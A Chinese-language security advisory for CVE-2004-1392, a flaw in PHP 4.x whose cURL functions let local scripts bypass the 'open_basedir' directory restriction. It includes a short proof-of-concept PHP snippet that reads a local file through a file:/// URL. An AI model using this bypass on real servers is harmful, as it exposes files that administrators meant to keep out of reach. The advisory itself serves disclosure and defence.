发布日期：2004-10-28
更新日期：2004-11-01

受影响系统：

PHP PHP 4.3.9
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0

描述：

---

CVE(CAN) ID: CVE-2004-1392

PHP是一种流行的WEB服务器端编程语言。

PHP的cURL函数存在一个问题，本地攻击者可以利用这个漏洞使脚本绕过'open_basedir'目录设置。

FraMe报告本地用户可以调用cURL(liburl)函数绕过'php.ini'文件中的'open_basedir'限制和其他目录来访问文件。

<*来源：FraMe （frame@hispalab.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109898213806099&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

FraMe （frame@hispalab.com）提供了如下测试方法：

<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch) ;
echo $file
?>

建议：

---

厂商补丁：

PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.net

浏览次数：2951
严重程度：0（网友投票）